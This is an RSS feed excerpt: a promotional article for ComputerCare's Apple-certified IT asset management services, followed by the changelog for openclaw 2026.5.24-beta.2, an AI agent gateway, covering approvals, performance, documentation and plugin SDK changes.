

Additionally, ComputerCare is also an Apple Authorized Service Provider (AASP), which gives its technicians access to certified Apple parts and diagnostics, as well as official repair procedures. Additionally, ComputerCare also holds membership with the Apple Consultant Network, which demonstrates broad expertise within the Apple ecosystem. This means organizations and enterprises avoid risks with unauthorized repairs, while also receiving practical and sound advice on macOS and iOS lifecycle and deployment planning. 



These certifications provide practical benefits during every part of the ITAM lifecycle. This includes warranty protection, AppleCare claim processing, secure repair workflows, and stronger long-term asset value retention. 



Fleet Upgrades That Are Seamless



Apple makes it easy to update an iPhone, but updating an entire fleet of various devices isn’t as simple. 



It can be challenging for an organization to make the transition to newer hardware or Apple operating systems, which can involve deployment delays and data migration risks, or there can even be compatibility issues. All of these things can create slowdown, which can build over time. A lack of proper planning can foster issues with productivity and unnecessary downtime. 



Apple-certified ITAM partners are able to streamline this process. From the planning and procurement stages to deployment and configuration, certified partners understand proper device integration for new machines without causing friction for existing environments. 



ITAM partners can also ensure that new upgrades align with Apple’s recommended protocols, which reduces the likelihood of compatibility issues or performance degradation. For organizations that know timelines are crucial, it's a level of efficiency that can be critical. 



Reducing Costs Long-Term and Preserving Warranties







Organizations can often overlook one benefit of Apple-certified providers, and that’s warranty protection. 



Using non-certified parts and performing unauthorized repairs can void warranties, which can leave businesses responsible for future repairs that were otherwise covered. It's a cost that can add up significantly over time. 



On the other hand, certified repair providers can rely on parts approved by Apple while following proper repair protocols. This ensures device eligibility coverage continues under warranties and service programs where applicable. 



There can be many instances where repairs performed under warranty come at no additional cost, which can help reduce the total cost of Apple device ownership substantially. When it comes to managing larger fleets, this can be a huge financial safeguard. 



Another factor to consider is total cost of ownership, or TCO. Though it’s true that Apple devices can have a higher upfront cost when compared to others on the market, they also tend to retain their value longer. With proper maintenance, they can even require fewer repairs. 



Working with certified providers preserves this value. When using genuine parts and Apple-approved methods for repairs, devices are far more likely to continue performing reliably over time. It helps reduce the frequency of repeat issues while extending the usable life of any device. 



Considerations for Security and Compliance



For the Apple ecosystem, security is a core pillar. Maintaining this security means the delicate handling of both software and hardware. 



Apple-certified partners have the qualifications to follow the best practices for servicing devices. This ensures that sensitive data remains protected throughout the entire repair or upgrade process. For businesses operating in regulated industries, it can be especially critical where compliance is absolute. 



More so, certified partners are more capable of managing updates and configurations that harmonize with Apple’s security framework. It reduces misconfiguration risks that could potentially expose devices to certain vulnerabilities. 



When it comes to organizations that handle sensitive data, the chain-of-custody during repairs can be a majorly important factor. Apple-certified providers are capable of following structured processes that ensure devices are handled securely—from intake to return. 



Along with proper documentation, this also includes handling sensitive data with care, storing devices securely, and keeping access controlled during the repair process. For legal services, finance, and healthcare industries, it’s a level of accountability that can be essential for maintaining compliance with certain data protection regulations. 



Additionally, certified providers are also more likely to follow secure data handling practices, including during diagnostics or while replacing components. This can help reduce the risk of accidental data exposure. 



Lifecycle Optimization and the Role of ITAMs







For a finely curated ITAM strategy, it’s about crafting blueprints for the entire lifecycle of a device. 



Once an Apple product is acquired, ITAM ensures that it’s deployed with efficiency and maintained properly. A good strategy details when it’s the right time for replacements. It means companies aren’t spending on premature replacements, or attempting to squeeze productivity from outdated hardware. Both of which can impact security and performance. 



Working with a provider like Computer Care can help organizations implement a structured approach to lifecycle management, which ensures all devices maintain their highest value during their lifespan. Computer Care is well-founded in experiences with enterprises, making the company a solid choice for preserving your ecosystem. 



For any organization looking to expand visibility and control, exploring dedicated IT Asset Management solutions can provide the framework necessary for managing Apple fleets effectively. 



Improving Productivity and Eliminating Downtime



One of the most expensive hidden costs in IT management can be downtime. If nothing’s happening, that’s an issue. A device goes bad in the middle of an employee’s heavy coding session, or a laptop that goes down for weeks due to repairs. An update goes wrong. Any of these things can lead to productivity lost, and it’s an impact a company will notice.



Apple-certified ITAM partners can reduce this downtime by providing service that’s speedier and more reliable. Along with being able to access official diagnostics and genuine Apple parts, ITAM partners can diagnose and resolve issues far more effectively over a non-certified provider. 



It means employees spend less time waiting on repairs or replacements, and more time getting things done. 



Scaling for Growth



An organization that grows has more complex IT assets growing alongside it. This problem only compounds for enterprises, which may be growing exponentially. 



What’s suitable for a small team may not effectively scale up to larger environments. Those lacking an ITAM strategy with structure may quickly lose visibility into their assets. Quickly the company may come to realize the impact of such inefficiencies and unnecessary costs. 



When it comes to handling at-scale, it’s where an Apple-Certified partner becomes necessary. They can implement processes and systems that expand with the organization. In turn, this can ensure device management remains efficient as assets continue to grow. 



For an enterprise, certain issues can be especially challenging, as enterprises often face a high level of complexity over smaller businesses. Managing hundred or even thousands of Apple devices across a multitude of locations, departments, and remote employees can be taxing, and often requires more than just basic device tracking. Without a solid ITAM strategy, an enterprise can quickly lose visibility regarding their assets, which can boil over into unnecessary spending and inconsistent deployments.



While this can lead to downtime, ComputerCare focuses on these larger businesses, as it has the tools, resources, and experience necessary to work at-scale. This means enterprises can manage Apple fleets more efficiently while maintaining proper security and compliance, which leads to far better consistency.



Experience Across the Board



At the end of the day, it’s not just about devices when it comes to device management it’s about employees getting the most from them.



For an employee, there’s an expectation that all tools work seamlessly, and disruptions can quickly lead to low productivity. When an Apple-certified ITAM partner ensures that all devices are properly maintained, routinely updated, and repaired with precision, it creates a far more reliable user experience. 



In environments where employees routinely rely on Apple devices for creative work, development, or day-to-day operations, maintaining a positive user experience is critical to long-term growth. 



Choosing the Right ITAM Partner



Perhaps in an ideal world, all ITAM providers would be equal, but many can offer a competitive edge. It takes careful consideration when selecting the right partner. 



Organizations should look for providers that: 




Hold relevant Apple certifications



Offer end-to-end lifecycle management



Provide transparency during upgrades and repairs



Have a strong track record within Apple environments




Any business aiming to take a more structured approach should spend the time looking at the pros and cons of services such as ComputerCare while exploring how certified ITAM support can adapt to their existing workflows. For those looking to expand or maintain their Apple ecosystem talk to ComputerCare’s ITAM experts today.



The Long-Term Balue of Apple-Certified ITAM







For any business, it’s important to think about things in the long-term. Alongside day-to-day operations, working with an Apple-certified ITAM partner is a good contribution to long-term strategic planning. As a business grows and technology continues evolving, a partner that properly understands the Apple ecosystem alongside broader IT management is a highly valuable asset. 



 A good partner provides insights into future hardware transitions, software compatibility, and best practices that only continue to evolve. Rather than reacting to changes, organizations can take a proactive approach. This can mean preparing for a new macOS release, bringing device deployments to scale, and maintaining optimized workflows. 



An ITAM partner isn't just a service provider, it’s a critical component of an organization's IT strategy. 



Parting Thoughts



Apple’s foothold in the modern workplace is only continuing to expand, and the importance for effective IT asset management has become more evident. 



Though working with an Apple-certified ITAM partner comes with a certain amount of convenience, it also ensures that devices are managed, maintained, and repaired by the highest standards. This includes keeping warranties preserved and reducing costs while improving security and keeping downtime to a minimum. Companies will begin seeing the benefits immediately, but they’ll also notice them in the long-term. 



For businesses looking to get the most from their Apple investments, the choice is clear. For enterprises, the answer is more obvious. Certified experts aren’t an option these days; they’re essential. ]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.24-beta.2]]></title>
<description><![CDATA[2026.5.24
Changes

iMessage: support thumb-approval reactions — 👍 (Like tapback) resolves an approval as allow-once and 👎 resolves as deny, with the explicit-approver allowlist read from channels.imessage.allowFrom; allow-always stays on the manual /approve  allow-always text fallback. Mirrors th...]]></description>
<link>https://tsecurity.de/de/3544401/downloads/openclaw-2026524-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544401/downloads/openclaw-2026524-beta2/</guid>
<pubDate>Mon, 25 May 2026 02:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.24</h2>
<h3>Changes</h3>
<ul>
<li>iMessage: support thumb-approval reactions — <code>👍</code> (Like tapback) resolves an approval as <code>allow-once</code> and <code>👎</code> resolves as <code>deny</code>, with the explicit-approver allowlist read from <code>channels.imessage.allowFrom</code>; <code>allow-always</code> stays on the manual <code>/approve &lt;id&gt; allow-always</code> text fallback. Mirrors the WhatsApp behavior from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>.</li>
<li>Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.</li>
<li>Gateway/perf: cache stable install-record, channel-catalog, bundled-channel, and Telegram session-store metadata during process-local hot paths to reduce repeated JSON and manifest reads.</li>
<li>Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.</li>
<li>Talk/realtime: let WebUI and Discord voice callers ask for active OpenClaw run status, cancel, steer, or queue follow-up work while a consult is still running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479342391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84231/hovercard" href="https://github.com/openclaw/openclaw/pull/84231">#84231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Discord/voice: add realtime wake-name gating with agent-name defaults and raise profile bootstrap context budget for longer <code>USER.md</code>/<code>SOUL.md</code> files.</li>
<li>Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.</li>
<li>Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.</li>
<li>Image tool: add adaptive model-aware image compression with an <code>agents.defaults.imageQuality</code> preference for choosing token-efficient, balanced, or high-detail media handling.</li>
<li>Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only <code>openclaw meeting-notes</code> CLI access, and Discord voice as the first live source.</li>
<li>Meeting Notes/Discord: release channel account startup before meeting-notes auto-capture, wait for the Discord voice manager during gateway boot, and stop plugin services before channel shutdown so voice capture state remains available during startup and cleanup.</li>
<li>Docs/channels/config: add Signal <code>configPath</code>, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NorseGaud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NorseGaud">@NorseGaud</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yudistiraashadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yudistiraashadi">@yudistiraashadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangqian8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangqian8">@huangqian8</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VibhorGautam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VibhorGautam">@VibhorGautam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maweibin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maweibin">@maweibin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxingleo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxingleo">@tianxingleo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgnacioPro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgnacioPro">@IgnacioPro</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xzcxzcyy-claw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xzcxzcyy-claw">@xzcxzcyy-claw</a>.</li>
<li>Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomDjerry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomDjerry">@TomDjerry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matthewxmurphy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matthewxmurphy">@matthewxmurphy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stablegenius49/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stablegenius49">@stablegenius49</a>.</li>
<li>Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zacxxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zacxxx">@Zacxxx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neyric/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neyric">@neyric</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usimic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usimic">@usimic</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Renu-Cybe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Renu-Cybe">@Renu-Cybe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BigUncle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BigUncle">@BigUncle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeashoreShi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeashoreShi">@SeashoreShi</a>.</li>
<li>Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayesha-aziz123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayesha-aziz123">@ayesha-aziz123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dishraters/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dishraters">@dishraters</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hougangdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hougangdev">@hougangdev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brandonlipman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brandonlipman">@brandonlipman</a>.</li>
<li>Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quratulain-bilal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quratulain-bilal">@Quratulain-bilal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mickey-/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mickey-">@Mickey-</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vancece/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vancece">@vancece</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xenouzik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xenouzik">@xenouzik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/posigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/posigit">@posigit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/surlymochan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/surlymochan">@surlymochan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/janaka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/janaka">@janaka</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choiking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choiking">@choiking</a>.</li>
<li>CLI/models: let <code>openclaw models auth login</code> store a single returned provider auth profile under a requested <code>--profile-id</code>, and document named Codex OAuth profile setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091898835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49315" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49315/hovercard" href="https://github.com/openclaw/openclaw/pull/49315">#49315</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DanielLSM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DanielLSM">@DanielLSM</a>.</li>
<li>Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.</li>
<li>Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itskai-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itskai-dev">@itskai-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gwh7078/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gwh7078">@gwh7078</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longstoryscott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longstoryscott">@longstoryscott</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MoeJaberr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MoeJaberr">@MoeJaberr</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yuaiccc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yuaiccc">@yuaiccc</a>.</li>
<li>Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BobDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BobDu">@BobDu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alitariksahin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alitariksahin">@alitariksahin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jefsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jefsky">@Jefsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/musaabhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/musaabhasan">@musaabhasan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmerZeyveli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmerZeyveli">@OmerZeyveli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/majin1102/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/majin1102">@majin1102</a>.</li>
<li>Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nielskaspers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nielskaspers">@nielskaspers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drclaw-iq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drclaw-iq">@drclaw-iq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexgduarte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexgduarte">@alexgduarte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengoak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengoak">@chengoak</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cassthebandit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cassthebandit">@cassthebandit</a>.</li>
<li>Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.</li>
<li>Diagnostics: emit sanitized <code>secrets.prepare</code> timeline spans for Gateway secret preparation so operators can distinguish secret startup latency without exposing provider names, secret ids, or secret values. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Diagnostics: export bounded skill usage metrics/spans and tool source/owner labels for core, plugin, MCP, and channel tool execution without exposing raw paths or session identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravprasadgp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravprasadgp">@gauravprasadgp</a>.</li>
<li>Agents/subagents: limit default sub-agent bootstrap context to <code>AGENTS.md</code> and <code>TOOLS.md</code>, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501180539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85283" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85283/hovercard" href="https://github.com/openclaw/openclaw/pull/85283">#85283</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Maintainer skills: require clean autoreview before surfacing bug-sweep PR URLs and treat changelog-only conflicts as routine busy-main churn.</li>
<li>Maintainer skills: exclude plugin SDK/API boundary work from <code>openclaw-landable-bug-sweep</code> so bugbash sweeps stay focused on small paper-cut fixes.</li>
<li>QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.</li>
<li>Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.</li>
<li>Plugin SDK/cron delivery: route cron delivery through the modern target resolver and outbound session-route APIs, deprecate parser-backed target helpers and <code>plugin-sdk/messaging-targets</code>, and move bundled callers to <code>plugin-sdk/channel-targets</code>.</li>
<li>Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as <code>docker</code> and <code>blacksmith</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501761454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85302/hovercard" href="https://github.com/openclaw/openclaw/pull/85302">#85302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>Maintainer skills: add <code>openclaw-landable-bug-sweep</code> for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.</li>
<li>Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500085034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85237/hovercard" href="https://github.com/openclaw/openclaw/pull/85237">#85237</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/onboarding: start classic onboarding when bare <code>openclaw</code> runs before an authored config exists, while keeping configured installs on Crestodian. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331787394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72343/hovercard" href="https://github.com/openclaw/openclaw/pull/72343">#72343</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
